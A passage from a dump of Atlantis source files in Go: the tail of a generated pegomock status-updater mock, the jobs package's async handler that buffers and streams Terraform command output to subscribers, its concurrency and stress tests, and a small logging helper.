struct {\n\tmock                   *MockProjectStatusUpdater\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockProjectStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) *MockProjectStatusUpdater_UpdateProject_OngoingVerification {\n\t_params := []pegomock.Param{ctx, cmdName, status, url, res}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdateProject\", _params, verifier.timeout)\n\treturn &MockProjectStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectStatusUpdater_UpdateProject_OngoingVerification struct {\n\tmock              *MockProjectStatusUpdater\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, string, *command.ProjectCommandOutput) {\n\tctx, cmdName, status, url, res := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1], res[len(res)-1]\n}\n\nfunc (c *MockProjectStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []string, _param4 []*command.ProjectCommandOutput) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]command.Name, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(command.Name)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]*command.ProjectCommandOutput, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(*command.ProjectCommandOutput)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/jobs/project_command_output_handler.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage jobs\n\nimport (\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\ntype OutputBuffer struct {\n\tOperationComplete bool\n\tBuffer            []string\n}\n\ntype PullInfo struct {\n\tPullNum      int\n\tRepo         string\n\tRepoFullName string\n\tProjectName  string\n\tPath         string\n\tWorkspace    string\n}\n\ntype JobIDInfo struct {\n\tJobID          string\n\tJobIDUrl       string\n\tJobDescription string\n\tTime           time.Time\n\tTimeFormatted  string\n\tJobStep        string\n}\n\ntype PullInfoWithJobIDs struct {\n\tPull       PullInfo\n\tJobIDInfos []JobIDInfo\n}\n\ntype JobInfo struct {\n\tPullInfo\n\tHeadCommit     string\n\tJobDescription string\n\tJobStep        string\n}\n\ntype ProjectCmdOutputLine struct {\n\tJobID             string\n\tJobInfo           JobInfo\n\tLine              string\n\tOperationComplete bool\n}\n\n// AsyncProjectCommandOutputHandler is a handler to transport terraform client\n// outputs to the front end.\ntype AsyncProjectCommandOutputHandler struct {\n\tprojectCmdOutput chan *ProjectCmdOutputLine\n\n\tprojectOutputBuffers     map[string]OutputBuffer\n\tprojectOutputBuffersLock sync.RWMutex\n\n\treceiverBuffers     map[string]map[chan string]bool\n\treceiverBuffersLock sync.RWMutex\n\n\tlogger logging.SimpleLogging\n\n\t// Tracks all the jobs for a pull request which is used for clean up after a pull request is closed.\n\tpullToJobMapping sync.Map\n}\n\n//go:generate pegomock generate --package mocks -o mocks/mock_project_command_output_handler.go ProjectCommandOutputHandler\n\ntype ProjectCommandOutputHandler interface {\n\t// Send will enqueue the msg and wait for Handle() to receive the message.\n\tSend(ctx command.ProjectContext, msg string, operationComplete bool)\n\n\tSendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool)\n\n\t// Register registers a channel and blocks until it is caught up. Callers should call this asynchronously when attempting\n\t// to read the channel in the same goroutine\n\tRegister(jobID string, receiver chan string)\n\n\t// Deregister removes a channel from successive updates and closes it.\n\tDeregister(jobID string, receiver chan string)\n\n\tIsKeyExists(key string) bool\n\n\t// Listens for msg from channel\n\tHandle()\n\n\t// Cleans up resources for a pull\n\tCleanUp(pullInfo PullInfo)\n\n\t// Returns a map from Pull Requests to Jobs\n\tGetPullToJobMapping() []PullInfoWithJobIDs\n}\n\nfunc NewAsyncProjectCommandOutputHandler(\n\tprojectCmdOutput chan *ProjectCmdOutputLine,\n\tlogger logging.SimpleLogging,\n) ProjectCommandOutputHandler {\n\treturn &AsyncProjectCommandOutputHandler{\n\t\tprojectCmdOutput:     projectCmdOutput,\n\t\tlogger:               logger,\n\t\treceiverBuffers:      map[string]map[chan string]bool{},\n\t\tprojectOutputBuffers: map[string]OutputBuffer{},\n\t\tpullToJobMapping:     sync.Map{},\n\t}\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) GetPullToJobMapping() []PullInfoWithJobIDs {\n\tvar pullToJobMappings []PullInfoWithJobIDs\n\n\tp.pullToJobMapping.Range(func(key, value any) bool {\n\t\tpullInfo := key.(PullInfo)\n\t\tjobIDSyncMap := value.(*sync.Map)\n\n\t\tvar jobIDInfos []JobIDInfo\n\t\tjobIDSyncMap.Range(func(_, v any) bool {\n\t\t\tjobIDInfos = append(jobIDInfos, v.(JobIDInfo))\n\t\t\treturn true\n\t\t})\n\n\t\tpullToJobMappings = append(pullToJobMappings, PullInfoWithJobIDs{\n\t\t\tPull:       pullInfo,\n\t\t\tJobIDInfos: jobIDInfos,\n\t\t})\n\t\treturn true\n\t})\n\n\treturn pullToJobMappings\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) IsKeyExists(key string) bool {\n\tp.projectOutputBuffersLock.RLock()\n\tdefer p.projectOutputBuffersLock.RUnlock()\n\t_, ok := p.projectOutputBuffers[key]\n\treturn ok\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) Send(ctx command.ProjectContext, msg string, operationComplete bool) {\n\tp.projectCmdOutput <- &ProjectCmdOutputLine{\n\t\tJobID: ctx.JobID,\n\t\tJobInfo: JobInfo{\n\t\t\tHeadCommit: ctx.Pull.HeadCommit,\n\t\t\tPullInfo: PullInfo{\n\t\t\t\tPullNum:      ctx.Pull.Num,\n\t\t\t\tRepo:         ctx.BaseRepo.Name,\n\t\t\t\tRepoFullName: ctx.BaseRepo.FullName,\n\t\t\t\tProjectName:  ctx.ProjectName,\n\t\t\t\tPath:         ctx.RepoRelDir,\n\t\t\t\tWorkspace:    ctx.Workspace,\n\t\t\t},\n\t\t\tJobStep: ctx.CommandName.String(),\n\t\t},\n\t\tLine:              msg,\n\t\tOperationComplete: operationComplete,\n\t}\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) SendWorkflowHook(ctx models.WorkflowHookCommandContext, msg string, operationComplete bool) {\n\tp.projectCmdOutput <- &ProjectCmdOutputLine{\n\t\tJobID: ctx.HookID,\n\t\tJobInfo: JobInfo{\n\t\t\tHeadCommit: ctx.Pull.HeadCommit,\n\t\t\tPullInfo: PullInfo{\n\t\t\t\tPullNum:      ctx.Pull.Num,\n\t\t\t\tRepo:         ctx.BaseRepo.Name,\n\t\t\t\tRepoFullName: ctx.BaseRepo.FullName,\n\t\t\t},\n\t\t\tJobDescription: ctx.HookDescription,\n\t\t\tJobStep:        ctx.HookStepName,\n\t\t},\n\t\tLine:              msg,\n\t\tOperationComplete: operationComplete,\n\t}\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) Register(jobID string, receiver chan string) {\n\tp.addChan(receiver, jobID)\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) Handle() {\n\tfor msg := range p.projectCmdOutput {\n\t\tif msg.OperationComplete {\n\t\t\tp.completeJob(msg.JobID)\n\t\t\tcontinue\n\t\t}\n\n\t\t// Add job to pullToJob mapping\n\t\tif _, ok := p.pullToJobMapping.Load(msg.JobInfo.PullInfo); !ok {\n\t\t\tp.pullToJobMapping.Store(msg.JobInfo.PullInfo, &sync.Map{})\n\t\t}\n\t\tvalue, _ := p.pullToJobMapping.Load(msg.JobInfo.PullInfo)\n\t\tjobMapping := value.(*sync.Map)\n\t\tjobMapping.Store(msg.JobID, JobIDInfo{\n\t\t\tJobID:          msg.JobID,\n\t\t\tJobDescription: msg.JobInfo.JobDescription,\n\t\t\tTime:           time.Now(),\n\t\t\tJobStep:        msg.JobInfo.JobStep,\n\t\t})\n\n\t\t// Forward new message to all receiver channels and output buffer\n\t\tp.writeLogLine(msg.JobID, msg.Line)\n\t}\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) completeJob(jobID string) {\n\tp.projectOutputBuffersLock.Lock()\n\tp.receiverBuffersLock.Lock()\n\tdefer func() {\n\t\tp.projectOutputBuffersLock.Unlock()\n\t\tp.receiverBuffersLock.Unlock()\n\t}()\n\n\t// Update operation status to complete\n\tif outputBuffer, ok := p.projectOutputBuffers[jobID]; ok {\n\t\toutputBuffer.OperationComplete = true\n\t\tp.projectOutputBuffers[jobID] = outputBuffer\n\t}\n\n\t// Close active receiver channels\n\tif openChannels, ok := p.receiverBuffers[jobID]; ok {\n\t\tfor ch := range openChannels {\n\t\t\tclose(ch)\n\t\t}\n\t}\n\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) addChan(ch chan string, jobID string) {\n\tp.projectOutputBuffersLock.RLock()\n\toutputBuffer := p.projectOutputBuffers[jobID]\n\tp.projectOutputBuffersLock.RUnlock()\n\n\tfor _, line := range outputBuffer.Buffer {\n\t\tch <- line\n\t}\n\n\t// No need register receiver since all the logs have been streamed\n\tif outputBuffer.OperationComplete {\n\t\tclose(ch)\n\t\treturn\n\t}\n\n\t// add the channel to our registry after we backfill the contents of the buffer,\n\t// to prevent new messages coming in interleaving with this backfill.\n\tp.receiverBuffersLock.Lock()\n\tif p.receiverBuffers[jobID] == nil {\n\t\tp.receiverBuffers[jobID] = map[chan string]bool{}\n\t}\n\tp.receiverBuffers[jobID][ch] = true\n\tp.receiverBuffersLock.Unlock()\n}\n\n// Add log line to buffer and send to all current channels\nfunc (p *AsyncProjectCommandOutputHandler) writeLogLine(jobID string, line string) {\n\tp.receiverBuffersLock.Lock()\n\tfor ch := range p.receiverBuffers[jobID] {\n\t\tselect {\n\t\tcase ch <- line:\n\t\tdefault:\n\t\t\t// Delete buffered channel if it's blocking.\n\t\t\tdelete(p.receiverBuffers[jobID], ch)\n\t\t}\n\t}\n\tp.receiverBuffersLock.Unlock()\n\n\tp.projectOutputBuffersLock.Lock()\n\tif _, ok := p.projectOutputBuffers[jobID]; !ok {\n\t\tp.projectOutputBuffers[jobID] = OutputBuffer{\n\t\t\tBuffer: []string{},\n\t\t}\n\t}\n\toutputBuffer := p.projectOutputBuffers[jobID]\n\toutputBuffer.Buffer = append(outputBuffer.Buffer, line)\n\tp.projectOutputBuffers[jobID] = outputBuffer\n\n\tp.projectOutputBuffersLock.Unlock()\n}\n\n// Remove channel, so client no longer receives Terraform output\nfunc (p *AsyncProjectCommandOutputHandler) Deregister(jobID string, ch chan string) {\n\tp.logger.Debug(\"Removing channel for %s\", jobID)\n\tp.receiverBuffersLock.Lock()\n\tdelete(p.receiverBuffers[jobID], ch)\n\tp.receiverBuffersLock.Unlock()\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) GetReceiverBufferForPull(jobID string) map[chan string]bool {\n\tp.receiverBuffersLock.RLock()\n\tdefer p.receiverBuffersLock.RUnlock()\n\treturn p.receiverBuffers[jobID]\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) GetProjectOutputBuffer(jobID string) OutputBuffer {\n\tp.projectOutputBuffersLock.RLock()\n\tdefer p.projectOutputBuffersLock.RUnlock()\n\treturn p.projectOutputBuffers[jobID]\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) GetJobIDMapForPull(pullInfo PullInfo) map[string]JobIDInfo {\n\tresult := make(map[string]JobIDInfo)\n\tif value, ok := p.pullToJobMapping.Load(pullInfo); ok {\n\t\tjobIDSyncMap := value.(*sync.Map)\n\t\tjobIDSyncMap.Range(func(k, v any) bool {\n\t\t\tresult[k.(string)] = v.(JobIDInfo)\n\t\t\treturn true\n\t\t})\n\t\treturn result\n\t}\n\treturn nil\n}\n\nfunc (p *AsyncProjectCommandOutputHandler) CleanUp(pullInfo PullInfo) {\n\tif value, ok := p.pullToJobMapping.Load(pullInfo); ok {\n\t\tjobIDSyncMap := value.(*sync.Map)\n\t\tjobIDSyncMap.Range(func(k, _ any) bool {\n\t\t\tjobID := k.(string)\n\t\t\tp.projectOutputBuffersLock.Lock()\n\t\t\tdelete(p.projectOutputBuffers, jobID)\n\t\t\tp.projectOutputBuffersLock.Unlock()\n\n\t\t\tp.receiverBuffersLock.Lock()\n\t\t\tdelete(p.receiverBuffers, jobID)\n\t\t\tp.receiverBuffersLock.Unlock()\n\t\t\treturn true\n\t\t})\n\t\t// Remove job mapping\n\t\tp.pullToJobMapping.Delete(pullInfo)\n\t}\n}\n\n// NoopProjectOutputHandler is a mock that doesn't do anything\ntype NoopProjectOutputHandler struct{}\n\nfunc (p *NoopProjectOutputHandler) Send(_ command.ProjectContext, _ string, _ bool) {\n}\n\nfunc (p *NoopProjectOutputHandler) SendWorkflowHook(_ models.WorkflowHookCommandContext, _ string, _ bool) {\n}\n\nfunc (p *NoopProjectOutputHandler) Register(_ string, _ chan string) {}\n\nfunc (p *NoopProjectOutputHandler) Deregister(_ string, _ chan string) {}\n\nfunc (p *NoopProjectOutputHandler) Handle() {\n}\n\nfunc (p *NoopProjectOutputHandler) CleanUp(_ PullInfo) {\n}\n\nfunc (p *NoopProjectOutputHandler) IsKeyExists(_ string) bool {\n\treturn false\n}\n\nfunc (p *NoopProjectOutputHandler) GetPullToJobMapping() []PullInfoWithJobIDs {\n\treturn []PullInfoWithJobIDs{}\n}\n"
  },
  {
    "path": "server/jobs/project_command_output_handler_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage jobs_test\n\nimport (\n\t\"fmt\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/jobs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc createTestProjectCmdContext(t *testing.T) command.ProjectContext {\n\tlogger := logging.NewNoopLogger(t)\n\treturn command.ProjectContext{\n\t\tBaseRepo: models.Repo{\n\t\t\tName:  \"test-repo\",\n\t\t\tOwner: \"test-org\",\n\t\t},\n\t\tHeadRepo: models.Repo{\n\t\t\tName:  \"test-repo\",\n\t\t\tOwner: \"test-org\",\n\t\t},\n\t\tPull: models.PullRequest{\n\t\t\tNum:        1,\n\t\t\tHeadBranch: \"main\",\n\t\t\tBaseBranch: \"main\",\n\t\t\tAuthor:     \"test-user\",\n\t\t\tHeadCommit: \"234r232432\",\n\t\t},\n\t\tUser: models.User{\n\t\t\tUsername: \"test-user\",\n\t\t},\n\t\tLog:         logger,\n\t\tWorkspace:   \"myworkspace\",\n\t\tRepoRelDir:  \"test-dir\",\n\t\tProjectName: \"test-project\",\n\t\tJobID:       \"1234\",\n\t}\n}\n\nfunc createProjectCommandOutputHandler(t *testing.T) jobs.ProjectCommandOutputHandler {\n\tlogger := logging.NewNoopLogger(t)\n\tprjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine)\n\tprjCmdOutputHandler := jobs.NewAsyncProjectCommandOutputHandler(\n\t\tprjCmdOutputChan,\n\t\tlogger,\n\t)\n\n\tgo func() {\n\t\tprjCmdOutputHandler.Handle()\n\t}()\n\n\treturn prjCmdOutputHandler\n}\n\nfunc TestProjectCommandOutputHandler(t *testing.T) {\n\tMsg := \"Test Terraform Output\"\n\tctx := createTestProjectCmdContext(t)\n\n\tt.Run(\"receive message from main channel\", func(t *testing.T) {\n\t\tvar wg sync.WaitGroup\n\t\tvar expectedMsg string\n\t\tprojectOutputHandler := createProjectCommandOutputHandler(t)\n\n\t\tch := make(chan string, 1)\n\n\t\t// register channel and backfill from buffer\n\t\t// Note: We call this synchronously because otherwise\n\t\t// there could be a race where we are unable to register the channel\n\t\t// before sending messages due to the way we lock our buffer memory cache\n\t\tprojectOutputHandler.Register(ctx.JobID, ch)\n\n\t\twg.Add(1)\n\n\t\t// read from channel\n\t\tgo func() {\n\t\t\tfor msg := range ch {\n\t\t\t\texpectedMsg = msg\n\t\t\t\twg.Done()\n\t\t\t}\n\t\t}()\n\n\t\tprojectOutputHandler.Send(ctx, Msg, false)\n\t\twg.Wait()\n\t\tclose(ch)\n\n\t\t// Wait for the msg to be read.\n\t\twg.Wait()\n\t\tEquals(t, expectedMsg, Msg)\n\t})\n\n\tt.Run(\"copies buffer to new channels\", func(t *testing.T) {\n\t\tvar wg sync.WaitGroup\n\n\t\tprojectOutputHandler := createProjectCommandOutputHandler(t)\n\n\t\t// send first message to populated the buffer\n\t\tprojectOutputHandler.Send(ctx, Msg, false)\n\n\t\tch := make(chan string, 2)\n\n\t\treceivedMsgs := []string{}\n\n\t\twg.Add(1)\n\t\t// read from channel asynchronously\n\t\tgo func() {\n\t\t\tfor msg := range ch {\n\t\t\t\treceivedMsgs = append(receivedMsgs, msg)\n\n\t\t\t\t// we're only expecting two messages here.\n\t\t\t\tif len(receivedMsgs) >= 2 {\n\t\t\t\t\twg.Done()\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t\t// register channel and backfill from buffer\n\t\t// Note: We call this synchronously because otherwise\n\t\t// there could be a race where we are unable to register the channel\n\t\t// before sending messages due to the way we lock our buffer memory cache\n\t\tprojectOutputHandler.Register(ctx.JobID, ch)\n\n\t\tprojectOutputHandler.Send(ctx, Msg, false)\n\t\twg.Wait()\n\t\tclose(ch)\n\n\t\texpectedMsgs := []string{Msg, Msg}\n\t\tassert.Len(t, receivedMsgs, len(expectedMsgs))\n\t\tfor i := range expectedMsgs {\n\t\t\tassert.Equal(t, expectedMsgs[i], receivedMsgs[i])\n\t\t}\n\t})\n\n\tt.Run(\"clean up all jobs when PR is closed\", func(t *testing.T) {\n\t\tvar wg sync.WaitGroup\n\t\tprojectOutputHandler := createProjectCommandOutputHandler(t)\n\n\t\tch := make(chan string, 2)\n\n\t\t// register channel and backfill from buffer\n\t\t// Note: We call this synchronously because otherwise\n\t\t// there could be a race where we are unable to register the channel\n\t\t// before sending messages due to the way we lock our buffer memory cache\n\t\tprojectOutputHandler.Register(ctx.JobID, ch)\n\n\t\twg.Add(1)\n\n\t\t// read from channel\n\t\tgo func() {\n\t\t\tfor msg := range ch {\n\t\t\t\tif msg == \"Complete\" {\n\t\t\t\t\twg.Done()\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\tprojectOutputHandler.Send(ctx, Msg, false)\n\t\tprojectOutputHandler.Send(ctx, \"Complete\", false)\n\n\t\tpullContext := jobs.PullInfo{\n\t\t\tPullNum:      ctx.Pull.Num,\n\t\t\tRepo:         ctx.BaseRepo.Name,\n\t\t\tRepoFullName: ctx.BaseRepo.FullName,\n\t\t\tProjectName:  ctx.ProjectName,\n\t\t\tPath:         ctx.RepoRelDir,\n\t\t\tWorkspace:    ctx.Workspace,\n\t\t}\n\t\twg.Wait() // Must finish reading messages before cleaning up\n\t\tprojectOutputHandler.CleanUp(pullContext)\n\n\t\t// Check all the resources are cleaned up.\n\t\tdfProjectOutputHandler, ok := projectOutputHandler.(*jobs.AsyncProjectCommandOutputHandler)\n\t\tassert.True(t, ok)\n\n\t\tassert.Empty(t, dfProjectOutputHandler.GetProjectOutputBuffer(ctx.JobID))\n\t\tassert.Empty(t, dfProjectOutputHandler.GetReceiverBufferForPull(ctx.JobID))\n\t\tassert.Empty(t, dfProjectOutputHandler.GetJobIDMapForPull(pullContext))\n\t})\n\n\tt.Run(\"mark operation status complete and close conn buffers for the job\", func(t *testing.T) {\n\t\tprojectOutputHandler := createProjectCommandOutputHandler(t)\n\n\t\tch := make(chan string, 2)\n\n\t\t// register channel and backfill from buffer\n\t\t// Note: We call this synchronously because otherwise\n\t\t// there could be a race where we are unable to register the channel\n\t\t// before sending messages due to the way we lock our buffer memory cache\n\t\tprojectOutputHandler.Register(ctx.JobID, ch)\n\n\t\t// read from channel\n\t\tgo func() {\n\t\t\tfor range ch { //revive:disable-line:empty-block\n\t\t\t}\n\t\t}()\n\n\t\tprojectOutputHandler.Send(ctx, Msg, false)\n\t\tprojectOutputHandler.Send(ctx, \"\", true)\n\n\t\t// Wait for the handler to process the message\n\t\ttime.Sleep(10 * time.Millisecond)\n\n\t\tdfProjectOutputHandler, ok := projectOutputHandler.(*jobs.AsyncProjectCommandOutputHandler)\n\t\tassert.True(t, ok)\n\n\t\toutputBuffer := dfProjectOutputHandler.GetProjectOutputBuffer(ctx.JobID)\n\t\tassert.True(t, outputBuffer.OperationComplete)\n\n\t\t_, ok = (<-ch)\n\t\tassert.False(t, ok)\n\n\t})\n\n\tt.Run(\"close conn buffer after streaming logs for completed operation\", func(t *testing.T) {\n\t\tprojectOutputHandler := createProjectCommandOutputHandler(t)\n\n\t\tch := make(chan string)\n\n\t\t// register channel and backfill from buffer\n\t\t// Note: We call this synchronously because otherwise\n\t\t// there could be a race where we are unable to register the channel\n\t\t// before sending messages due to the way we lock our buffer memory cache\n\t\tprojectOutputHandler.Register(ctx.JobID, ch)\n\n\t\t// read from channel\n\t\tgo func() {\n\t\t\tfor range ch { //revive:disable-line:empty-block\n\t\t\t}\n\t\t}()\n\n\t\tprojectOutputHandler.Send(ctx, Msg, false)\n\t\tprojectOutputHandler.Send(ctx, \"\", true)\n\n\t\t// Wait for the handler to process the message\n\t\ttime.Sleep(10 * time.Millisecond)\n\n\t\tch2 := make(chan string, 2)\n\t\topComplete := make(chan bool)\n\n\t\t// buffer channel will be closed immediately after logs are streamed\n\t\tgo func() {\n\t\t\tfor range ch2 { //revive:disable-line:empty-block\n\t\t\t}\n\t\t\topComplete <- true\n\t\t}()\n\n\t\tprojectOutputHandler.Register(ctx.JobID, ch2)\n\n\t\tassert.True(t, <-opComplete)\n\t})\n}\n\n// TestRaceConditionPrevention tests that our fixes prevent the specific race conditions\nfunc TestRaceConditionPrevention(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tprjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine)\n\thandler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutputChan, logger)\n\n\t// Start the handler\n\tgo handler.Handle()\n\n\tctx := createTestProjectCmdContext(t)\n\tpullInfo := jobs.PullInfo{\n\t\tPullNum:      ctx.Pull.Num,\n\t\tRepo:         ctx.BaseRepo.Name,\n\t\tRepoFullName: ctx.BaseRepo.FullName,\n\t\tProjectName:  ctx.ProjectName,\n\t\tPath:         ctx.RepoRelDir,\n\t\tWorkspace:    ctx.Workspace,\n\t}\n\n\tt.Run(\"concurrent pullToJobMapping access\", func(t *testing.T) {\n\t\tvar wg sync.WaitGroup\n\t\tnumGoroutines := 50\n\n\t\t// This test specifically targets the original race condition\n\t\t// that was fixed by using sync.Map for pullToJobMapping\n\n\t\t// Concurrent writers (Handle() method updates the mapping)\n\t\tfor i := range numGoroutines {\n\t\t\twg.Add(1)\n\t\t\tgo func(id int) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\t// Send message which triggers Handle() to update pullToJobMapping\n\t\t\t\thandler.Send(ctx, fmt.Sprintf(\"message-%d\", id), false)\n\t\t\t}(i)\n\t\t}\n\n\t\t// Concurrent readers (GetPullToJobMapping() method reads the mapping)\n\t\tfor range numGoroutines {\n\t\t\twg.Go(func() {\n\t\t\t\t// This would race with Handle() before the sync.Map fix\n\t\t\t\tmappings := handler.GetPullToJobMapping()\n\t\t\t\t_ = mappings\n\t\t\t})\n\t\t}\n\n\t\t// Concurrent readers of GetJobIDMapForPull\n\t\tfor range numGoroutines {\n\t\t\twg.Go(func() {\n\t\t\t\t// This would also race with Handle() before the fix\n\t\t\t\tjobMap := handler.(*jobs.AsyncProjectCommandOutputHandler).GetJobIDMapForPull(pullInfo)\n\t\t\t\t_ = jobMap\n\t\t\t})\n\t\t}\n\n\t\twg.Wait()\n\t})\n\n\tt.Run(\"concurrent buffer access\", func(t *testing.T) {\n\t\tvar wg sync.WaitGroup\n\t\tnumGoroutines := 30\n\n\t\t// First populate some data\n\t\thandler.Send(ctx, \"initial\", false)\n\t\ttime.Sleep(5 * time.Millisecond)\n\n\t\t// Test the race condition we fixed in GetProjectOutputBuffer\n\t\tfor range numGoroutines {\n\t\t\twg.Go(func() {\n\t\t\t\t// This would race with completeJob() before the RLock fix\n\t\t\t\tbuffer := handler.(*jobs.AsyncProjectCommandOutputHandler).GetProjectOutputBuffer(ctx.JobID)\n\t\t\t\t_ = buffer\n\t\t\t})\n\t\t}\n\n\t\t// Concurrent operations that modify the buffer\n\t\tfor i := range numGoroutines {\n\t\t\twg.Add(1)\n\t\t\tgo func(id int) {\n\t\t\t\tdefer wg.Done()\n\t\t\t\tif id%10 == 0 {\n\t\t\t\t\t// Occasionally complete a job to test completeJob() race\n\t\t\t\t\thandler.Send(ctx, \"\", true)\n\t\t\t\t} else {\n\t\t\t\t\thandler.Send(ctx, \"test\", false)\n\t\t\t\t}\n\t\t\t}(i)\n\t\t}\n\n\t\twg.Wait()\n\t})\n\n\t// Clean up\n\tclose(prjCmdOutputChan)\n}\n\n// TestHighConcurrencyStress performs stress testing with many concurrent operations\nfunc TestHighConcurrencyStress(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"Skipping stress test in short mode\")\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\tprjCmdOutputChan := make(chan *jobs.ProjectCmdOutputLine)\n\thandler := jobs.NewAsyncProjectCommandOutputHandler(prjCmdOutputChan, logger)\n\n\t// Start the handler\n\tgo handler.Handle()\n\n\tvar wg sync.WaitGroup\n\tnumWorkers := 20\n\toperationsPerWorker := 100\n\n\t// Multiple workers performing mixed operations\n\twg.Add(numWorkers)\n\tfor worker := range numWorkers {\n\t\tgo func(workerID int) {\n\t\t\tdefer wg.Done()\n\n\t\t\tctx := createTestProjectCmdContext(t)\n\t\t\tctx.JobID = \"worker-job-\" + fmt.Sprintf(\"%d\", workerID)\n\t\t\tctx.Pull.Num = workerID\n\n\t\t\tpullInfo := jobs.PullInfo{\n\t\t\t\tPullNum:      ctx.Pull.Num,\n\t\t\t\tRepo:         ctx.BaseRepo.Name,\n\t\t\t\tRepoFullName: ctx.BaseRepo.FullName,\n\t\t\t\tProjectName:  ctx.ProjectName,\n\t\t\t\tPath:         ctx.RepoRelDir,\n\t\t\t\tWorkspace:    ctx.Workspace,\n\t\t\t}\n\n\t\t\tfor op := range operationsPerWorker {\n\t\t\t\tswitch op % 6 {\n\t\t\t\tcase 0:\n\t\t\t\t\t// Send messages\n\t\t\t\t\thandler.Send(ctx, \"stress test message\", false)\n\t\t\t\tcase 1:\n\t\t\t\t\t// Read pull to job mapping\n\t\t\t\t\tmappings := handler.GetPullToJobMapping()\n\t\t\t\t\t_ = mappings\n\t\t\t\tcase 2:\n\t\t\t\t\t// Read job ID map for pull\n\t\t\t\t\tjobMap := handler.(*jobs.AsyncProjectCommandOutputHandler).GetJobIDMapForPull(pullInfo)\n\t\t\t\t\t_ = jobMap\n\t\t\t\tcase 3:\n\t\t\t\t\t// Read project output buffer\n\t\t\t\t\tbuffer := handler.(*jobs.AsyncProjectCommandOutputHandler).GetProjectOutputBuffer(ctx.JobID)\n\t\t\t\t\t_ = buffer\n\t\t\t\tcase 4:\n\t\t\t\t\t// Read receiver buffer\n\t\t\t\t\treceivers := handler.(*jobs.AsyncProjectCommandOutputHandler).GetReceiverBufferForPull(ctx.JobID)\n\t\t\t\t\t_ = receivers\n\t\t\t\tcase 5:\n\t\t\t\t\t// Occasional cleanup\n\t\t\t\t\tif op%20 == 0 {\n\t\t\t\t\t\thandler.CleanUp(pullInfo)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}(worker)\n\t}\n\n\twg.Wait()\n\tclose(prjCmdOutputChan)\n}\n"
  },
  {
    "path": "server/logging/log.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage logging\n\nimport (\n\t\"io\"\n\t\"log\"\n)\n\n// SuppressDefaultLogging suppresses the default logging\nfunc SuppressDefaultLogging() {\n\t// Some packages use the default logger, so we need to suppress it. (such as uber-go/tally)\n\tlog.SetOutput(io.Discard)\n}\n"
  },
  {
    "path": "server/logging/logging_test.go",
